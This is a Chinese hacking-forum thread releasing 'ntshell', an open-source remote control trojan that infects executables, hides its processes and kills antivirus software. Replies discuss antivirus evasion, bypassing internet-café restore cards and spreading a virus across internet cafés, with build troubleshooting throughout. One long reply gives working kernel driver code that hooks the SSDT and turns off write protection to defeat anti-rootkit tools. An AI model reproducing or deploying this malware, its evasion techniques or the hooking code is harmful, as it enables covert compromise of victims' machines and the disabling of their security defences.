[原创]结合内核和病毒技术的最新远程控制软件ntshell v1.07(开源代码)
软件作者:被诅咒的神信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
这是一个免费开源的远程控制软件,源码仅供学习参考,请勿用于非法用途。
功能特点:
1.提供CMDSHELL、文件管理、进程管理、端口代理(未完成)、屏幕捕获和一些其它功能
2.可感染32位PE文件,感染后可选择在宿主进程空间中运行(无进程)或创建新进程运行,
在宿主进程中运行还可选择端口劫持,即复用宿主所打开的端口,感染不影响宿主正常运行
3.用到了一些内核技术,包括活动进程链脱链(隐藏进程),与ICESWORD相同的进程强杀方
法(能杀掉一些杀毒软件的进程),Ring0打开文件(用于感染正在运行的可执行文件),
2000/xp下采用无驱Ring0
4.同时支持正向连接和反向连接,服务端和控制端均可接受管理多个连接
感染文件方法:ntshell.exe -infect C:\test.exe
ntshell.exe先用生成服务端生成
安装成系统服务:ntshell.exe -install
服务移除:ntshell.exe -remove
代码编译环境:Windows XP SP2 + VC6.0
服务端采用纯C编写,VC直接编译
控制端为C++和WTL,需在VC中加入WTL支持才能编译
[attach]7073[/attach] [attach]7074[/attach] [attach]7075[/attach]
如果您发现BUG或是有什么好的建议,请发送mail给我:ktwyz#163.com
注:由于没时间做兼容性测试,一些内核操作可能导致系统蓝屏,测试前请先保存好数据
注2:该版本尚未加入驱动支持,故暂时无法在2003下使用Ring0的全部功能
2008-01-01更新:
修正以服务方式运行程序会崩溃的BUG
修正部分窗口不能用快捷键的问题
修正控制台——下载并运行不能运行的BUG
2008-01-13更新:
内码改为unicode,非简体中文系统不会乱码了
增加了一个小型PELOADER,运行被感染的文件后不会再释放出DLL文件
增加了文件上传下载功能(不太好用,可以无视)
修正了几个BUG,做了一些小调整
ntshell停止开发,在此感谢提供BUG和支持我的朋友 不错吧~LZ可以考虑加入穿还原的代码撒,毕竟现在大多数是网吧用户嘛。。。还有界面貌似是MFC写的?
收藏。。谢谢。。。 [s:265] 还原卡可以破解吗!呵呵!主要是破解的还原卡需要密码!我哪知道管理员密码是那个!呵呵! [quote]引用第2楼pc逍遥鼠于2007-12-31 11:06发表的 :
怎么大家做的都是木马呀!难道这个东西很值钱吗!还不如做几个CC的攻击器那!至少可以成为商用的!呵呵!木马这个东西主要不就是免杀吗!不免杀也就没有什么作用了!功能都差不多![/quote]
这个是自用的,而且设计之初就没考虑过用来挂马,所以没做免杀
另外做这个除了自用就是研究技术,要商用就不开源了。。。。。。。 那个穿还原的好象不是破解掉还原卡~~
是不需要密码的~~应该是写了比还原个级别更高的驱动下载者~(听说的)
哈哈~这个好东西我就收下了~~最近正在研究怎么写远程控制~~[s:265] [quote]引用第3楼fucking于2007-12-31 12:11发表的 :
不错吧~LZ可以考虑加入穿还原的代码撒,毕竟现在大多数是网吧用户嘛。。。还有界面貌似是MFC写的?
收藏。。谢谢。。。 [s:265][/quote]
界面是WTL 不错的木马&病毒模板。。。
建议加精!楼主可以进VIP了 [s:266] 繁体啊,过段时间给改成多语言的好了 [quote]引用第4楼pc逍遥鼠于2007-12-31 12:14发表的 :
还原卡可以破解吗!呵呵!主要是破解的还原卡需要密码!我哪知道管理员密码是那个!呵呵![/quote]
怎么不可以破呢?前端时间的机器狗就可以破啊,而且冰点等,还有硬件还原卡都可以穿的。。。你可以去看看机器卡的汇编代码奥。。。 偶觉得大多数远控用户最关注的因素:
1、稳定性好(稳定压倒一切), 不要占太多cpu
2、基本功能:文件管理、进程管理、cmdshell、注册表、屏幕控制(速度要快)、键盘记录、
摄像头监控、广播功能
3、容易免杀处理
做好上面所叙,每一天都无可挑剔就已经是个非常优秀的远控了
个人现在用Evilotus v1.3.2 觉得该东东是目前最适合自己的远控了,因为其稳定性非常的好,
基本满足上面所叙的,因为作者已经停止更新了,所以十分遗憾
呵呵,因为现在个性化需求太多了,自己动手或者加入某vip吧。 [url]http://blog.csdn.net/sgdgoodboy/archive/2007/11/02/1862727.aspx[/url]
关于WTL的介绍...
搞了这么久VC还不知道有这东东,惭愧.....55555 哎呀,这个时候发出来意义是不同凡响的啊。
我也是头次认识WTL
注意我顶贴的时间 我还认为如果能加进参透还原精灵的功能的话,那就VERY GOOD,界面为不美化啊,这个界面看起来很土气 好象少了一个键盘记录,我刚刚试验了下不错,我也帮你试验做了免杀了能过34款杀毒软件,.呵呵.谢谢你的分享,我准备把他改成我专业版本不知道你可否接受,我把他美化一下 机器狗可是个好东西,要是有源代码或者生成器就好了!呵呵!等待的就是这个病毒!呵呵!在网吧内大面积释放!呵呵! [s:264] 测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务. [quote]引用第17楼█黑夜网客█于2008-01-01 03:39发表的 :
好象少了一个键盘记录,我刚刚试验了下不错,我也帮你试验做了免杀了能过34款杀毒软件,.呵呵.谢谢你的分享,我准备把他改成我专业版本不知道你可否接受,我把他美化一下[/quote]
可以啊,保留原作者信息就行了 [quote]引用第19楼andds于2008-01-01 10:56发表的 :
测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务.[/quote]
正常的,其实要彻底隐藏最好的方法就是不要有进程 [quote]引用第19楼andds于2008-01-01 10:56发表的 :
测试了一下,WSYSCHECK和冰刃下无法隐藏进程和服务.[/quote]
仅仅断ActiveProcess链骗骗任务管理器还行。
pass IS,RKU还是要用点猥亵手法的.[s:267]
eg. 关csrss.exe中的handle,抹PspCidTable,顺便自己实现线程调度,把KeDispatcherReadyListHead、KiWaitListHead....的表头换到自己新建的链头中去,忽悠下靠这些链检测隐藏进程的anti-rootkit还是可以的。。。。 [quote]引用第22楼被诅咒的神于2008-01-01 13:11发表的 :
昨天发了只免杀ASM病毒的源码好像没通过审核,有兴趣的直接发邮件找我要吧 [email]ktwyz@163.com[/email]
注意不要跟贴留自己的邮箱,会把本贴搞得很乱
以下是那只病毒的介绍:
.......[/quote]
免杀和过主防还是有区别滴,MS微点快上市了,未来的主动防御越来越强大咯。
还木有等你进R0就已经被扼杀在摇篮中,免杀做的再还也木有用啊~[s:265] 现在还是免杀更重要些
反向连接 [quote]引用第24楼sudami于2008-01-01 13:18发表的 :
免杀和过主防还是有区别滴,MS微点快上市了,未来的主动防御越来越强大咯。
还木有等你进R0就已经被扼杀在摇篮中,免杀做的再还也木有用啊~[s:265][/quote]
这东西除了Ring0外没有什么明显的病毒特征,而且这东西也不依赖Ring0,
它具有的行为大部分正常软件也具有,应该不存在被主动防御杀掉的可能 [quote]引用第10楼被诅咒的神于2007-12-31 14:12发表的 :
繁体啊,过段时间给改成多语言的好了[/quote]
期待繁體版的面世,呵呵...謝謝樓主的無私奉獻,這東西夠我研究一段長時間了.
另外樓主有沒有Delphi版的源碼呀,其他程序的也可以,望能分享一下. 再怎么隐藏进程总可以检测出来。。。
现在都玩 dll + sys了,没有进程 [s:266] [quote]引用第23楼sudami于2008-01-01 13:13发表的 :
仅仅断ActiveProcess链骗骗任务管理器还行。
pass IS,RKU还是要用点猥亵手法的.[s:267]
.......[/quote]
过IS不是什么大课题了,或者直接无痕做掉IS...
其他一些隐藏方法,公布出来的就都不是什么方法了,自己猥琐点,多法结合,或者利用一些XX技术...
PS: 这个世界真小,KernelPollution里也有你... 上EST真费力... [quote]引用第29楼takdick于2008-01-01 15:43发表的 :
期待繁體版的面世,呵呵...謝謝樓主的無私奉獻,這東西夠我研究一段長時間了.
另外樓主有沒有Delphi版的源碼呀,其他程序的也可以,望能分享一下.[/quote]
没有,我做的基本是VC程序 隐藏进程的大前提是Ring0或物理内存,只要杀毒软件看严点这两点都很难实现,
公开的东西行为来是低调点好 这个远控还能感染文件和强行关闭杀软,跟病毒也有几分相似之处啊,先用一段时间,看看稳定性和功能如何 请教一个问题:编译时说找不大atlres.h文件,是什么原因,麻烦有那位知道告诉一下,谢谢了 楼上的要先在VC里加入WTL支持,在网上找下WTL吧 运行后某进程提示错误无法使用!
环境:虚拟机下winxp pro en版 感染文件方法:ntshell.exe -infect C:\test.exe
安装成系统服务:ntshell.exe -install
都不好使(winxp pro sp2),只有双击,然后进程被发现-在任务管理器中能看见 编译时
C:\Documents and Settings\Administrator\桌面\2008-01-01\console.rc (694): error RC2135 : file not found: Release\ntshell.exe
Error executing rc.exe.
怎么回事啊, 它说找不到Release\ntshell.exe ,我是要构造一个Release\ntshell.exe吗?
ntshell.exe 从哪儿来?是你已经编译好的console.exe生成的服务端ntshell.exe吗? 把ntshell.exe放到Release目录下....... 代码有些错误,LoadConfig好像执行了2次,导致程序直接当掉
我把KServiceMain里的LoadConfig();注释掉了,没事了 [quote]引用第32楼blackhorse于2008-01-03 21:05发表的 :
运行后某进程提示错误无法使用!
环境:虚拟机下winxp pro en版[/quote]
描述不清楚,不知道是不是之前那个服务方式运行的BUG [quote]引用第34楼eking于2008-01-04 18:48发表的 :
感染文件方法:ntshell.exe -infect C:test.exe
安装成系统服务:ntshell.exe -install
都不好使(winxp pro sp2),只有双击,然后进程被发现-在任务管理器中能看见[/quote]
似乎有极少数XP sp2的活动进程链偏移有变化,还有隐藏进程默认不开启,因为用处不大 [quote]引用第37楼niukuo于2008-01-04 22:12发表的 :
代码有些错误,LoadConfig好像执行了2次,导致程序直接当掉
我把KServiceMain里的LoadConfig();注释掉了,没事了[/quote]
确实有这个BUG,已修正,重新下载就行了 辞职了,现在时间多多,休息两天继续开发,欢迎提建议 老大前段时候为什么禁止我发帖!!!
对付主动防御
1,SSDT
SSDT即系统服务描述符表,它的结构如下(参考《Undocument Windows 2000 Secretes》第二章):
typedef struct _SYSTEM_SERVICE_TABLE
{
PVOID ServiceTableBase; //这个指向系统服务函数地址表
PULONG ServiceCounterTableBase;
ULONG NumberOfService; //服务函数的个数,NumberOfService*4 就是整个地址表的大小
ULONG ParamTableBase;
}SYSTEM_SERVICE_TABLE,*PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
SYSTEM_SERVICE_TABLE ntoskrnel; //ntoskrnl.exe的服务函数
SYSTEM_SERVICE_TABLE win32k; //win32k.sys的服务函数,(gdi.dll/user.dll的内核支持)
SYSTEM_SERVICE_TABLE NotUsed1;
SYSTEM_SERVICE_TABLE NotUsed2;
}SYSTEM_DESCRIPTOR_TABLE,*PSYSTEM_DESCRIPTOR_TABLE;
内核中有两个系统服务描述符表,一个是KeServiceDescriptorTable(由ntoskrnl.exe导出),一个是KeServieDescriptorTableShadow(没有导出)。两者的区别是,KeServiceDescriptorTable仅有ntoskrnel一项,KeServieDescriptorTableShadow包含了ntoskrnel以及win32k。一般的Native API的服务地址由KeServiceDescriptorTable分派,gdi.dll/user.dll的内核API调用服务地址由KeServieDescriptorTableShadow分派。还有要清楚一点的是win32k.sys只有在GUI线程中才加载,一般情况下是不加载的,所以要Hook KeServieDescriptorTableShadow的话,一般是用一个GUI程序通过IoControlCode来触发(想当初不明白这点,蓝屏死机了N次都想不明白是怎么回事)。
2,SSDT HOOK
SSDT HOOK 的原理其实非常简单,我们先实际看看KeServiceDescriptorTable是什么样的。
lkd> dd KeServiceDescriptorTable
8055ab80 804e3d20 00000000 0000011c 804d9f48
8055ab90 00000000 00000000 00000000 00000000
8055aba0 00000000 00000000 00000000 00000000
8055abb0 00000000 00000000 00000000 00000000
在windbg.exe中我们就看得比较清楚,KeServiceDescriptorTable中就只有第一项有数据,其他都是0。其中804e3d20就是
KeServiceDescriptorTable.ntoskrnel.ServiceTableBase,服务函数个数为0x11c个。我们再看看804e3d20地址里是什么东西:
lkd> dd 804e3d20
804e3d20 80587691 805716ef 8057ab71 80581b5c
804e3d30 80599ff7 80637b80 80639d05 80639d4e
804e3d40 8057741c 8064855b 80637347 80599539
804e3d50 8062f4ec 8057a98c 8059155e 8062661f
如上,80587691 805716ef 8057ab71 80581b5c 这些就是系统服务函数的地址了。比如当我们在ring3调用OpenProcess时,进入sysenter的ID是0x7A(XP SP2),然后系统查KeServiceDescriptorTable,大概是这样KeServiceDescriptorTable.ntoskrnel.ServiceTableBase(804e3d20) + 0x7A * 4 = 804E3F08,然后804E3F08 ->8057559e 这个就是OpenProcess系统服务函数所在,我们再跟踪看看:
lkd> u 8057559e
nt!NtOpenProcess:
8057559e 68c4000000 push 0C4h
805755a3 6860b54e80 push offset nt!ObReferenceObjectByPointer+0x127 (804eb560)
805755a8 e8e5e4f6ff call nt!InterlockedPushEntrySList+0x79 (804e3a92)
805755ad 33f6 xor esi,esi
原来8057559e就是NtOpenProcess函数所在的起始地址。
嗯,如果我们把8057559e改为指向我们函数的地址呢?比如 MyNtOpenProcess,那么系统就会直接调用MyNtOpenProcess,而不是原来的NtOpenProcess了。这就是SSDT HOOK 原理所在。
3, ring0 inline hook
ring0 inline hook 跟ring3的没什么区别了,如果硬说有的话,那么就是ring3发生什么差错的话程序会挂掉,ring0发生什么差错的话系统就挂掉,所以一定要很小心。inline hook的基本思想就是在目标函数中JMP到自己的监视函数,做一些判断然后再JMP回去。一般都是修改函数头,不过再其他地方JMP也是可以的。下面我们来点实际的吧:
lkd> u nt!NtOpenProcess
nt!NtOpenProcess:
8057559e e95d6f4271 jmp f199c500
805755a3 e93f953978 jmp f890eae7
805755a8 e8e5e4f6ff call nt!InterlockedPushEntrySList+0x79 (804e3a92)
...
同时打开“冰刃”跟“Rootkit Unhooker”我们就能在NtOpenProcess函数头看到这样的“奇观”,第一个jmp是“冰刃”的,第二个jmp是“Rootkit Unhooker”的。他们这样是防止被恶意程序通过TerminateProcess关闭。当然“冰刃”还Hook了NtTerminateProcess等函数。
×××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××××
好了,道理就说完了,下面就进入本文正题。
对付ring0 inline hook的基本思路是这样的,自己写一个替换的内核函数,以NtOpenProcess为例,就是MyNtOpenProcess。然后修改SSDT表,让系统服务进入自己的函数MyNtOpenProcess。而MyNtOpenProcess要做的事就是,实现NtOpenProcess前10字节指令,然后再JMP到原来的NtOpenProcess的十字节后。这样NtOpenProcess函数头写的JMP都失效了,在ring3直接调用OpenProcess再也毫无影响。
***************************************************************************************************************************
#include<ntddk.h>
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
PVOID ServiceTableBase;
PULONG ServiceCounterTableBase;
ULONG NumberOfService;
ULONG ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数
/////////////////////////////////////
VOID Hook();
VOID Unhook();
VOID OnUnload(IN PDRIVER_OBJECT DriverObject);
//////////////////////////////////////
ULONG JmpAddress;//跳转到NtOpenProcess里的地址
ULONG OldServiceAddress;//原来NtOpenProcess的服务地址
//////////////////////////////////////
__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
DbgPrint("NtOpenProcess() called");
__asm{
push 0C4h
push 804eb560h //共十个字节
jmp [JmpAddress]
}
}
///////////////////////////////////////////////////
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = OnUnload;
DbgPrint("Unhooker load");
Hook();
return STATUS_SUCCESS;
}
/////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unhooker unload!");
Unhook();
}
/////////////////////////////////////////////////////
VOID Hook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID
DbgPrint("Address:0x%08X",Address);
OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址
DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);
DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);
JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+10的地方,这样在其前面写的JMP都失效了
DbgPrint("JmpAddress:0x%08X",JmpAddress);
__asm{//去掉内存保护
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT
__asm{//恢复内存保护
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
}
//////////////////////////////////////////////////////
VOID Unhook()
{
ULONG Address;
Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT
__asm{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
*((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT
__asm{
mov eax,cr0
or eax,10000h
mov cr0,eax
sti
}
DbgPrint("Unhook");
} 楼主请问下你的服务端是怎么随机启动的?启动项和服务项一个也没有它的身影?
我在使用的时候查看肉机进程时360安全卫士报NTSHELL注入进程QQ.EXE
还有我点卸载服务端的时候它竟然提示不要乱点啊! 作者你也太搞笑了吧!!!
它的连接可以看到 build ntshell.c 老是出错,怎么办,刚用vc(2008版的),_IO_COUNTERS' 这个结构。。。
------ Build started: Project: ntshell, Configuration: Debug Win32 ------
Compiling...
ntshell.c
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(165) : error C2011: '_IO_COUNTERS' : 'struct' type redefinition
c:\program files\microsoft sdks\windows\v6.0a\include\winnt.h(7312) : see declaration of '_IO_COUNTERS'
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(4017) : warning C4047: '==' : 'DWORD' differs in levels of indirection from 'PDWORD'
c:\documents and settings\administrator\桌面\2008-01-01\ntshell.c(4021) : warning C4047: '=' : 'DWORD' differs in levels of indirection from 'PDWORD'
Creating browse information file...
Microsoft Browse Information Maintenance Utility Version 9.00.21022
Copyright (C) Microsoft Corporation. All rights reserved.
Build log was saved at "file://c:\Documents and Settings\Administrator\桌面\2008-01-01\Debug\BuildLog.htm"
ntshell - 1 error(s), 2 warning(s)
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ========== 太过分了。。。
添加
LoadlibraryA来载入DLL。。。
Delikon的花招哪里都能见到。。。鄙视Delikon。。。用这个东西欺骗大家。。。
可以参考一下Delikon的
A polymorph and encrypted VIRUS in C 什么花招啊? 咱们能不能把这个ntshell发展成免费开源而且共享的远程控制工具,自愿者可以为它添加新的功能,不断完善,不断改进,就象VNC那样,不对,更象linux。 ntshell.exe,也就是木马端支持加壳么? 确实是个好东西.有机械狗的特点 我怎么编译和43楼的23223兄弟一样阿
C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(165) : error C2011: '_IO_COUNTERS' : 'struct' type redefinition
C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(4017) : warning C4047: '==' : 'unsigned long ' differs in levels of indirection from 'unsigned long *'
C:\Documents and Settings\Administrator\桌面\几个源代码\2008-01-01\ntshell.c(4021) : warning C4047: '=' : 'unsigned long ' differs in levels of indirection from 'unsigned long *'
shlib.c C++和WTL
WTL 编写也这么牛? 现在不是都主动防御吗?
他比鸽子的技术好点 不杀 文章作者:也没有人回答我编译时出现error C2011: '_IO_COUNTERS' : 'struct' type redefinition
这个错误怎么解决,郁闷,难道就没有人编译过?????????
页:
[1]
2
